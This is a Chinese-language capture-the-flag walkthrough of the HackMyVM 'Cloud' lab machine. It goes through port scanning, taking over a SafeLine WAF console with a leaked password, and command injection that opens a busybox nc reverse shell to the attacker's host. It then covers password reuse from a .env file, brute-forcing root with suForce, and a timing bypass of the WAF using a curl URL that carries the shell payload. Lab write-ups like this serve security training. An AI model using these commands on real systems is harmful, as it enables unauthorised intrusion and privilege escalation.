信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HMV/cloud]
└─$ sudo nmap -p- 192.168.43.154 -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 10:01 CST
Nmap scan report for Cloud (192.168.43.154)
Host is up (0.0045s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
666/tcp open doom
9443/tcp open tungsten-https
9455/tcp open unknown
65443/tcp open unknown
MAC Address: 2A:A2:51:AE:EC:AD (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.40 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
┌──(kali㉿kali)-[~/HMV/cloud]
└─$ sudo nmap -sT -sC -sV -O -p80,666,9443,9455,65443 192.168.43.154 -oA details
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 10:03 CST
Nmap scan report for Cloud (192.168.43.154)
Host is up (0.0026s latency).

PORT STATE SERVICE VERSION
80/tcp open http
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 466
| Date: Thu, 14 Aug 2025 02:03:23 GMT
| Content-Type: text/html;charset=utf-8
| Connection: close
| Set-Cookie: sl-session=XFXkLmuVnmgLUlSv1uOrAw==; Path=/; Max-Age=86400; HttpOnly
|_ <!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="icon" href="/.safeline/static/favicon.png" type="image/png"><title id="slg-title"></title><style>:root {--primary-color:#0067B8;--light-primary-color:#0067B8cc;--font-color:#fff;--light-font-color:#ffffff80;--success-color:#00b87c;--warning-color:#ff6666;--warning-font-color:#fff;--warning-light-font-color:#ffffff80;}</style><style>html{height:100%}body{height:100%;margin:0;font-family:PingFang SC,Helvetica Neue,Helvetica,Arial,sans-serif}#slg-bg{background-color:var(--primary-color);z-index:100;width:100%;height:100%;position:fixed;inset:0}#slg-box{z-index:300;border-r
666/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
9443/tcp open ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: SafeLine Waf Community Edition
| ssl-cert: Subject: organizationName=Chaitin Co., Ltd./stateOrProvinceName=Beijing/countryName=CN
| Not valid before: 2023-12-04T14:36:41
|_Not valid after: 2123-11-10T14:36:41
|_http-trane-info: Problem with XML parsing of /evox/about
9455/tcp open unknown
| fingerprint-strings:
| GenericLines:
| Welcome to Admin Service
| Type 'help' for available commands
| Available commands:
| help - Show this help
| whoami - Show current user
| system-status - Show system status
| exit - Disconnect
| Unknown command:
| GetRequest:
| Welcome to Admin Service
| Type 'help' for available commands
| Available commands:
| help - Show this help
| whoami - Show current user
| system-status - Show system status
| exit - Disconnect
| Unknown command: GET / HTTP/1.0
| HTTPOptions:
| Welcome to Admin Service
| Type 'help' for available commands
| Available commands:
| help - Show this help
| whoami - Show current user
| system-status - Show system status
| exit - Disconnect
| Unknown command: OPTIONS / HTTP/1.0
| NULL:
| Welcome to Admin Service
| Type 'help' for available commands
| Available commands:
| help - Show this help
| whoami - Show current user
| system-status - Show system status
| exit - Disconnect
| RTSPRequest:
| Welcome to Admin Service
| Type 'help' for available commands
| Available commands:
| help - Show this help
| whoami - Show current user
| system-status - Show system status
| exit - Disconnect
|_ Unknown command: OPTIONS / RTSP/1.0
65443/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, RPCCheck, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Date: Thu, 14 Aug 2025 02:03:28 GMT
| Content-Type: text/html
| Content-Length: 204
| Connection: close
| <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
| <html>
| <head><title>400 Bad Request</title></head>
| <body>
| <center><h1>400 Bad Request</h1></center>
| <hr><center>tengine</center>
| </body>
| </html>
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Thu, 14 Aug 2025 02:03:28 GMT
| Content-Type: application/octet-stream
| Content-Length: 0
|_ Connection: close
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.40 seconds

可以看到 80、666、9443、65443 四个端口似乎都是 web,9443 端口的title信息是 SafeLine Waf ,但最有趣的还是 9455 端口,暴露出来的信息是 Admin Server ,用 nc 连接 9455 端口看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HMV/cloud]
└─$ nc 192.168.43.154 9455
Welcome to Admin Service
Type 'help' for available commands
Available commands:
help - Show this help
whoami - Show current user
system-status - Show system status
exit - Disconnect
help
Available commands:
help - Show this help
whoami - Show current user
system-status - Show system status
show-admin-pass - Show admin password
exit - Disconnect

看上去是个自己搭建的对话程序,输入 help 之后,出现了一个有意思的 show-admin-pass 选项,输入这个命令之后,它返回了一个密码:Admin Password: 5jRrRnE9,可能这个密码在某个 web 的登录页面会用到。

web渗透

接下来看看 80 端口:

image1

是个雷池 WAF ,看样子现在还进不去。

想到前面信息收集的时候,9443 端口的 title 是 SafeLine WAF ,网上简单搜索一下也能知道,这个 SafeLien WAF 就是雷池 WAF,因此选择去 9443 端口看看:

image2

果然是个雷池 WAF 的登录页面,拿前面收集到的密码 5jRrRnE9 去登录 admin 账户:

image3

想到前面访问 80 端口的时候,页面显示被 WAF 拦住了,因此我们应该可以在这个雷池 WAF 的管理页面对 80 端口的访问情况进行一些修改。

把如下的 维护模式 改成 观察模式,想必 80 端口就可以访问了:

image4

然后再去访问 80 端口:

image5

访问之后发现域名变成了 cloud.dsz,那就加入 hosts 之后再去访问:

1
2
3
sudo vim /etc/hosts

192.168.43.154 cloud.dsz

image6

进去之后在 选择检查项 那里可以选择 自定义命令 ,那就直接执行反弹 shell 就好了:

1
busybox nc 192.168.43.68 1234 -e /bin/bash

获取立足点

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HMV/cloud]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.43.154 39804
python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@Cloud:~/html$

/home/lucky 目录下,拿到了 user flag:

1
2
3
4
5
6
7
www-data@Cloud:/home/lucky$ ls
ls
user.txt
www-data@Cloud:/home/lucky$ cat user.txt
cat user.txt
flag{user-72cfd272ace172fa35026445fbef9b03}
www-data@Cloud:/home/lucky$

提权

同样在 /home/lucky 目录下,有一个 .hint 文件,但是我们无法查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@Cloud:/home/lucky$ ls -liah
ls -liah
total 28K
527366 drwxr-xr-x 2 lucky lucky 4.0K Aug 12 06:04 .
523265 drwxr-xr-x 3 root root 4.0K Aug 12 03:38 ..
527367 -rw-r--r-- 1 lucky lucky 220 Aug 12 03:38 .bash_logout
527368 -rw-r--r-- 1 lucky lucky 3.5K Aug 12 03:38 .bashrc
530672 -rw------- 1 lucky lucky 45 Aug 12 06:04 .hint
527369 -rw-r--r-- 1 lucky lucky 807 Aug 12 03:38 .profile
530667 -rw-r--r-- 1 root root 44 Aug 12 03:38 user.txt
www-data@Cloud:/home/lucky$ cat .hint
cat .hint
cat: .hint: Permission denied
www-data@Cloud:/home/lucky$

因此我们需要想办法提权到 lucky 这个用户才行。

在根目录 / 下,我发现了一个比较多余的目录 data

1
2
3
4
5
6
7
8
www-data@Cloud:~$ cd /
cd /
www-data@Cloud:/$ ls
ls
bin dev initrd.img lib32 lost+found opt run sys var
boot etc initrd.img.old lib64 media proc sbin tmp vmlinuz
data home lib libx32 mnt root srv usr vmlinuz.old
www-data@Cloud:/$

进到 data 目录里面查看,找到了一个 docker-compose.yaml,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
 networks:
safeline-ce:
name: safeline-ce
driver: bridge
ipam:
driver: default
config:
- gateway: ${SUBNET_PREFIX:?SUBNET_PREFIX required}.1
subnet: ${SUBNET_PREFIX}.0/24
driver_opts:
com.docker.network.bridge.name: safeline-ce

services:
postgres:
container_name: safeline-pg
restart: always
image: ${IMAGE_PREFIX}/safeline-postgres${ARCH_SUFFIX}:15.2
volumes:
- ${SAFELINE_DIR}/resources/postgres/data:/var/lib/postgresql/data
- /etc/localtime:/etc/localtime:ro
environment:
- POSTGRES_USER=safeline-ce
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?postgres password required}
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.2
command: [postgres, -c, max_connections=600]
healthcheck:
test: pg_isready -U safeline-ce -d safeline-ce
mgt:
container_name: safeline-mgt
restart: always
image: ${IMAGE_PREFIX}/safeline-mgt${REGION}${ARCH_SUFFIX}:${IMAGE_TAG:?image tag required}
volumes:
- /etc/localtime:/etc/localtime:ro
- ${SAFELINE_DIR}/resources/mgt:/app/data
- ${SAFELINE_DIR}/logs/nginx:/app/log/nginx:z
- ${SAFELINE_DIR}/resources/sock:/app/sock
- /var/run:/app/run
ports:
- ${MGT_PORT:-9443}:1443
healthcheck:
test: curl -k -f https://localhost:1443/api/open/health
environment:
- MGT_PG=postgres://safeline-ce:${POSTGRES_PASSWORD}@safeline-pg/safeline-ce?sslmode=disable
depends_on:
- postgres
- fvm
logging:
driver: "json-file"
options:
max-size: "100m"
max-file: "5"
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.4
detect:
container_name: safeline-detector
restart: always
image: ${IMAGE_PREFIX}/safeline-detector${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
volumes:
- ${SAFELINE_DIR}/resources/detector:/resources/detector
- ${SAFELINE_DIR}/logs/detector:/logs/detector
- /etc/localtime:/etc/localtime:ro
environment:
- LOG_DIR=/logs/detector
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.5
tengine:
container_name: safeline-tengine
restart: always
image: ${IMAGE_PREFIX}/safeline-tengine${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
volumes:
- /etc/localtime:/etc/localtime:ro
- /etc/resolv.conf:/etc/resolv.conf:ro
- ${SAFELINE_DIR}/resources/nginx:/etc/nginx
- ${SAFELINE_DIR}/resources/detector:/resources/detector
- ${SAFELINE_DIR}/resources/chaos:/resources/chaos
- ${SAFELINE_DIR}/logs/nginx:/var/log/nginx:z
- ${SAFELINE_DIR}/resources/cache:/usr/local/nginx/cache
- ${SAFELINE_DIR}/resources/sock:/app/sock
environment:
- TCD_MGT_API=https://${SUBNET_PREFIX}.4:1443/api/open/publish/server
- TCD_SNSERVER=${SUBNET_PREFIX}.5:8000
# deprecated
- SNSERVER_ADDR=${SUBNET_PREFIX}.5:8000
- CHAOS_ADDR=${SUBNET_PREFIX}.10
ulimits:
nofile: 131072
network_mode: host
luigi:
container_name: safeline-luigi
restart: always
image: ${IMAGE_PREFIX}/safeline-luigi${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
environment:
- MGT_IP=${SUBNET_PREFIX}.4
- LUIGI_PG=postgres://safeline-ce:${POSTGRES_PASSWORD}@safeline-pg/safeline-ce?sslmode=disable
volumes:
- /etc/localtime:/etc/localtime:ro
- ${SAFELINE_DIR}/resources/luigi:/app/data
logging:
driver: "json-file"
options:
max-size: "100m"
max-file: "5"
depends_on:
- detect
- mgt
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.7
fvm:
container_name: safeline-fvm
restart: always
image: ${IMAGE_PREFIX}/safeline-fvm${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
volumes:
- /etc/localtime:/etc/localtime:ro
logging:
driver: "json-file"
options:
max-size: "100m"
max-file: "5"
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.8
chaos:
container_name: safeline-chaos
restart: always
image: ${IMAGE_PREFIX}/safeline-chaos${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
logging:
driver: "json-file"
options:
max-size: "100m"
max-file: "10"
environment:
- DB_ADDR=postgres://safeline-ce:${POSTGRES_PASSWORD}@safeline-pg/safeline-ce?sslmode=disable
volumes:
- ${SAFELINE_DIR}/resources/sock:/app/sock
- ${SAFELINE_DIR}/resources/chaos:/app/chaos
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.10

看上去是个 safeline 的 docker 配置文件,里面有个很重要的变量就是 POSTGRES_PASSWORD,因为它是个密码,找到之后我们可能可以进 PostgreSQL 里面找找信息,也可能存在密码复用的问题。

而这种 ${POSTGRES_PASSWORD} 形式的变量,一般要么在系统环境变量里面,要么在本地的 .env 文件里面。

查看本地文件:

1
2
3
4
5
6
7
8
9
10
www-data@Cloud:/data/safeline$ ls -liah
ls -liah
total 28K
1438978 drwxr-xr-x 4 root root 4.0K Aug 12 02:09 .
1438977 drwxr-xr-x 3 root root 4.0K Aug 12 02:08 ..
1438993 -rw-r--r-- 1 root root 222 Aug 12 02:09 .env
1438992 -rw-r--r-- 1 root root 4.5K Aug 12 02:08 docker-compose.yaml
1438983 drwxr-xr-x 4 root root 4.0K Aug 12 02:08 logs
1438979 drwxr-xr-x 10 root root 4.0K Aug 12 02:08 resources
www-data@Cloud:/data/safeline$

有个 .env ,查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@Cloud:/data/safeline$ cat .env
cat .env
SAFELINE_DIR=/data/safeline
POSTGRES_PASSWORD=vivrdIDj6fhNJIRdnitL
MGT_PORT=9443
RELEASE=
CHANNEL=
REGION=
IMAGE_PREFIX=swr.cn-east-3.myhuaweicloud.com/chaitin-safeline
IMAGE_TAG=9.2.1
SUBNET_PREFIX=192.168.0
ARCH_SUFFIX=
www-data@Cloud:/data/safeline$

果然有个 POSTGRES_PASSWORD ,可能就是 lucky 用户的密码,尝试登录:

1
2
3
4
5
6
7
8
www-data@Cloud:/data/safeline$ su lucky 
su lucky
Password: vivrdIDj6fhNJIRdnitL

lucky@Cloud:/data/safeline$ whoami
whoami
lucky
lucky@Cloud:/data/safeline$

切换到了 lucky 用户,现在可以去看刚才的 .hint 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lucky@Cloud:~$ ls -liah
ls -liah
total 28K
527366 drwxr-xr-x 2 lucky lucky 4.0K Aug 12 06:04 .
523265 drwxr-xr-x 3 root root 4.0K Aug 12 03:38 ..
527367 -rw-r--r-- 1 lucky lucky 220 Aug 12 03:38 .bash_logout
527368 -rw-r--r-- 1 lucky lucky 3.5K Aug 12 03:38 .bashrc
530672 -rw------- 1 lucky lucky 45 Aug 12 06:04 .hint
527369 -rw-r--r-- 1 lucky lucky 807 Aug 12 03:38 .profile
530667 -rw-r--r-- 1 root root 44 Aug 12 03:38 user.txt
lucky@Cloud:~$ cat .hint
cat .hint
root password length is 4.
Regex is : 'r..o'
lucky@Cloud:~$

他说 root 的密码是 4 个字符,并且形式是 r..o ,可能中间是小写字母或者数字之类的,那就先用这个规则生成一个字典,如果不够,再生成加上大写字母和符号的字典就好了:

1
python3 -c "import itertools,string; print('\n'.join(['r'+a+b+'o' for a,b in itertools.product(string.ascii_lowercase+string.digits, repeat=2)]))" > dict.txt

然后,我们需要传入 suForce 这个本地爆破 ssh 登录的工具来爆破 root 的密码。

suForce 的使用有一点可以注意一下,可以自己手动改一改源脚本里的 timeout 的值,默认为 0.1 ,但我没改,跑了两次都没出,最后改成 0.5 就成功了。

suForce 的下载地址为 (https://github.com/d4t4s3c/suForce)

下载到宿主机之后,可以用 nc 来传入到靶机,也可以用 python3 开个 http.server ,再在靶机里面用 wget 传入。

传入到靶机之后,用如下的命令进行 root 密码的爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lucky@Cloud:~$ ./suForce -u root -w dict.txt 
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
-=================================-
[*] Username: root
[*] Wordlist: dict.txt
[i] Status
519/1296/40%/rooo
[+] Password: rooo Line: 519
-=================================-

lucky@Cloud:~$

爆破出 root 的密码为: rooo ,登录,拿 root flag:

1
2
3
4
5
6
7
lucky@Cloud:~$ su root
Password:
root@Cloud:/home/lucky# whoami
root
root@Cloud:/home/lucky# cat /root/root.txt
flag{root-74cc1c60799e0a786ac7094b532f01b1}
root@Cloud:/home/lucky#

补充

web 渗透 阶段,我由于第一次靶机开机好像有点问题,然后就重开了一次,偶然间发现,靶机重开之后的大概半分钟内,雷池 WAF 是还没有接管 80 端口的,因此 80 端口此时还能正常访问到。

因此,如果我们提前把命令执行的 curl 内容给写好,就可以在靶机开启之后的短暂时间内绕过 WAF 的防护,直接进行反弹 shell 了。

大概就是,重开靶机,然后进行 curl 访问:

1
2
┌──(kali㉿kali)-[~/HMV/cloud]
└─$ curl 'http://cloud.dsz/system.php?action=custom&command=busybox+nc+192.168.43.68+1234+-e+%2Fbin%2Fbash'

然后也是可以接收到反弹 shell 的:

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.43.154 34810
whoami
www-data

这可能是因为雷池 WAF 的部署是个 docker,靶机开机之后,docker 成功启动还需要一定的时间,但是 80 端口的 web 服务已经启动了,因此我们可以直接访问到 80 端口。